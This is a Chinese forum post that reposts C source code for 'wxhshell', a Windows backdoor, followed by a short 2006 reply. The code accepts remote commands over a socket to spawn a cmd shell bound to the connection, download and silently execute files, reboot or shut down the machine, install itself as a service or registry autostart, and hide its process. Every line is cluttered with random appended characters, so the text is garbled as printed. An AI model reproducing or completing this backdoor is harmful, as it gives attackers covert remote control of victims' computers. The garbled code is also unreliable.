  if(DownloadFile(cmd,wsh)) M@8(h=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); }Y[.h=X  
  else 6=   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q|>y2g!  
  } D"MNlm  
  else { KH;e)91  
Umqm5*P(  
    switch(cmd[0]) { 3eB2= _V`  
  46vz=# ,6L  
  // 帮助 0ode&dB  
  case '?': { C8?/$1|RL  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); | 8AH_Fk  
    break; -+L1Hid.7  
  } <AVpFy  
  // 安装 \rpu=*gt  
  case 'i': { */1z=  
    if(Install()) &~j"3G;e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U+K_eEI0_I  
    else * .e^s3q$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dG| iA]  
    break; "x{S3v4Rb5  
    } &(K*TB|Om  
  // 卸载 f /jN$p  
  case 'r': { Gqs8$[o  
    if(Uninstall()) SbB5J> >7J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z'EZPuZ!'  
    else 1G\ugLm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yY1&h op  
    break; =Ru i  
    } ''Hq-Ng  
  // 显示 wxhshell 所在路径 6ul34\;  
  case 'p': { pY2nv/  
    char svExeFile[MAX_PATH];  6} 9A0  
    strcpy(svExeFile,"\n\r"); O:#to  
      strcat(svExeFile,ExeFile); m,pDjf  
        send(wsh,svExeFile,strlen(svExeFile),0); 8Vq,J:+  
    break; h\1_$ac  
    } dLAElTg  
  // 重启 x*YJ :t  
  case 'b': { ;{>z\6N  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); gAE}3//  
    if(Boot(REBOOT)) eC1cE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '{J!5x?L^  
    else { #hai3>9|B  
    closesocket(wsh); ?znSA >  
    ExitThread(0); AVi|JY)>  
    } cD{[rI E3  
    break; a9"Gg}h\  
    } ]Z~H9!%t  
  // 关机 `0sa94H1[  
  case 'd': { IlwY5iL  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4Q$\hO3b  
    if(Boot(SHUTDOWN)) F Hv|6zUX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `T-(g1:9  
    else { 4 0Du*5M  
    closesocket(wsh); ?-(E$ll  
    ExitThread(0); T-27E$0  
    } }g3)z%Xe'[  
    break; 4b4nFRnH  
    } a/?gp>M9  
  // 获取shell <uA|nYpp  
  case 's': { Z!#zr@'k  
    CmdShell(wsh); d/;oNC+  
    closesocket(wsh); }ulFW]A^7  
    ExitThread(0); 39u!j|VH  
    break; utQ_!3u  
  } s,0,w--=  
  // 退出 e'u 9 SpJ  
  case 'x': { T IS}'c'C  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); w{0UA6+  
    CloseIt(wsh); ;VvqKyUh7`  
    break; #j@Su )+  
    } 0|d%@  
  // 离开 qwnC{  
  case 'q': { T9u/|OP  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); GXsHc,  
    closesocket(wsh); h8nJ$jg  
    WSACleanup(); ?+51 B-  
    exit(1); L!5%;!>.P  
    break; vK|d P3  
        } >V NMQ  
  } xGz$M@f  
  } R,tR{| 8  
/\2s%b*  
  // 提示信息 3C.bzw^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P_w+p"@m  
} w2Pkw'a{  
  } K^9!Qp  
Vk[m$  
  return; 3EAu#c@q"  
} Q~uj:A]n<  
G:f]z;Xdp  
// shell模块句柄 o-/Xa[yC  
int CmdShell(SOCKET sock) ]{dg"J  
{ "Sl";.   
STARTUPINFO si; 3 bGpK9M~  
ZeroMemory(&si,sizeof(si)); cp[k[7XGD  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; KbSIKj  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; C7,Ol0`v  
PROCESS_INFORMATION ProcessInfo; /f_lWr:9l  
char cmdline[]="cmd"; l 4(-yWC$H  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #Ey!?Z  
  return 0; 7j{SCE;  
} Dk8" H >*  
.|cQ0:B[  
// 自身启动模式 7+@:wX\  
int StartFromService(void) ^cd+W?  
{ 4K:p  
typedef struct @TsOc0?-  
{ }F**!%4d  
  DWORD ExitStatus; _aq3G9C_  
  DWORD PebBaseAddress; _v<EFal  
  DWORD AffinityMask; +K]kGF  
  DWORD BasePriority; {R]4N]l>  
  ULONG UniqueProcessId; f5^[`b3H  
  ULONG InheritedFromUniqueProcessId; H$WuT;cTE  
}   PROCESS_BASIC_INFORMATION; 7 zK%CJ  
~- JkuRJ\  
PROCNTQSIP NtQueryInformationProcess; 6wfCC,2  
i9uJ%nd:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; T[L  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; HBeOK  
 H 2\KI(  
  HANDLE             hProcess; d+Pfi)+(I  
  PROCESS_BASIC_INFORMATION pbi; BY6QJkI9x  
;E(%s=i  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <Sb W QbN  
  if(NULL == hInst ) return 0; $D\SueZ  
G5?Dt-;I  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); wSnY;Z9W_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @~xNax&^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4)i/B99k  
/N]?>[<NW  
  if (!NtQueryInformationProcess) return 0; Tw);`&Ulo  
1]m]b4]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); M+9G^o)u  
  if(!hProcess) return 0; Whod_Uk  
g#T8WX{(V  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >kd&>)9v  
O8r9&Nv  
  CloseHandle(hProcess); %Gv8 ]Yb  
O\=3{  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5L%A5C&|  
if(hProcess==NULL) return 0; }LN +V~  
bwS1YGb  
HMODULE hMod; .{*V^[.  
char procName[255]; ;}ileL Tl  
unsigned long cbNeeded; O3PE w4yA  
SZea[~ &  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1|Us"GQ (n  
&AG,]#  
  CloseHandle(hProcess); e@F9'z4  
e>=P'  
if(strstr(procName,"services")) return 1; // 以服务启动 ;*[nZV>  
1Y_Cd  
  return 0; // 注册表启动 A90o X1l  
} "(>P=  
,GA2K .:#  
// 主模块 8.ll]3))  
int StartWxhshell(LPSTR lpCmdLine) swntz  
{ ~8o's`  
  SOCKET wsl; jqh d<w  
BOOL val=TRUE; Nl"< $/  
  int port=0; F\ yxXOI  
  struct sockaddr_in door; "}Of f  
CD;C z*c  
  if(wscfg.ws_autoins) Install(); KW ]/u  
4#{i  
port=atoi(lpCmdLine); p'fU}B1  
DP6M4  
if(port<=0) port=wscfg.ws_port; 8A~5@  
b7^VWX%  
  WSADATA data; Y.$ '<1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; FY|.eY_7 {  
y'(l]F1]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   PF+v[h;,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); " qY Pi  
  door.sin_family = AF_INET; G'{$$+U^K  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Q-k{Lqa-  
  door.sin_port = htons(port); mFC0f?nr  
ggR@& \  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { : n 4?  
closesocket(wsl); 6hv4D`d;o  
return 1; Z?kLAhy!  
} C: @T5m  
WLma)L`L  
  if(listen(wsl,2) == INVALID_SOCKET) { 9 ,=7Uh#7  
closesocket(wsl); -{dsl|Dl  
return 1; `9}\kn-</8  
} /f@VRME  
  Wxhshell(wsl); nw){}g  
  WSACleanup(); BWamF{\d1a  
O]o `! c  
return 0; B{^o}:e  
HS =qK  
} k>I[U}h  
9=p^E#d  
// 以NT服务方式启动 })rJU/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) i/N4uq}'A<  
{ (vMC.y5  
DWORD   status = 0; wg\*FfQn  
  DWORD   specificError = 0xfffffff; yJkERiJV  
RsIR}.*  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <2Lcy&w_M  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; TR/'L!EE  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |!NKKvf  
  serviceStatus.dwWin32ExitCode     = 0; L s6P<"V  
  serviceStatus.dwServiceSpecificExitCode = 0; k7yQEU  
  serviceStatus.dwCheckPoint       = 0; 1bs 8fUPB3  
  serviceStatus.dwWaitHint       = 0; B:Ec(USe  
>bWx!M]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {1,]8!HBJ  
  if (hServiceStatusHandle==0) return; !VUxy  
AQ:cim `  
status = GetLastError(); $R4[TQY).!  
  if (status!=NO_ERROR) He^u+N@B  
{ =X6WK7^0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?9 hw]Q6r}  
    serviceStatus.dwCheckPoint       = 0; 1:%HE*r  
    serviceStatus.dwWaitHint       = 0; /R7qR#  
    serviceStatus.dwWin32ExitCode     = status; }<6xZy  
    serviceStatus.dwServiceSpecificExitCode = specificError; Xo]QV.n  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); R{uq8NA- W  
    return; 5|&8MGW-$  
  } b37P[Q3  
(,<&H;,8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {-;lcOD  
  serviceStatus.dwCheckPoint       = 0; C50&SrnBU1  
  serviceStatus.dwWaitHint       = 0; lL_M=td8W  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); iLiEh2%P  
} ICwhqH&  
1sKKmtgH  
// 处理NT服务事件,比如:启动、停止 b<o Uy  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,&[2z!  
{ d:jD  
switch(fdwControl)  yG -1g0  
{ eq +t%  
case SERVICE_CONTROL_STOP: 1~/?W^ir  
  serviceStatus.dwWin32ExitCode = 0; {a -bew  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; lIPy)25~  
  serviceStatus.dwCheckPoint   = 0; D.elE:  
  serviceStatus.dwWaitHint     = 0; gRA}sF  
  { 72@lDY4cE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); c#X9d8>  
  } +rse,b&U(  
  return; (GB2("p`  
case SERVICE_CONTROL_PAUSE: h&d%#6mB  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <>\s#Jf/  
  break; <\uz",e}  
case SERVICE_CONTROL_CONTINUE: /Qi;'h]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3NRxf8  
  break; mNS7/I\  
case SERVICE_CONTROL_INTERROGATE: o;bK 7D  
  break; ?0k(wiF  
}; DrE +{Spm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2K?~)q&t*  
} *c'nPa$+|S  
j. UQLi&`  
// 标准应用程序主函数 pMZKF=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) pGEYke NU  
{ ,Y 1&[  
` QC  
// 获取操作系统版本 Qx{k_ye`  
OsIsNt=GetOsVer(); $%~-p[)<(P  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0\3mS{s  
3J t_=!qlo  
  // 从命令行安装 \z>Re$:  
  if(strpbrk(lpCmdLine,"iI")) Install(); q0|u vt"  
GCSR)i|  
  // 下载执行文件 LDDeZY"xd  
if(wscfg.ws_downexe) { )wkh  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) hm#S4/=#  
  WinExec(wscfg.ws_filenam,SW_HIDE); $B6CLWB  
} @pq#?  
*xm(K +j  
if(!OsIsNt) { *=UxX ] 0y  
// 如果时win9x,隐藏进程并且设置为注册表启动 Pp-\#WJ  
HideProc(); ie4keVlXc  
StartWxhshell(lpCmdLine); 9$[I~I#z  
} qFEGV+  
else p0Cp\.  
  if(StartFromService()) `CCuwe<v  
  // 以服务方式启动 aRFLh  
  StartServiceCtrlDispatcher(DispatchTable);  !]]QbB  
else S |SN3)  
  // 普通方式启动 IHqY/j  
  StartWxhshell(lpCmdLine); Kjbt1n  
eZDqW)x  
return 0; %jaB>4.A:  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八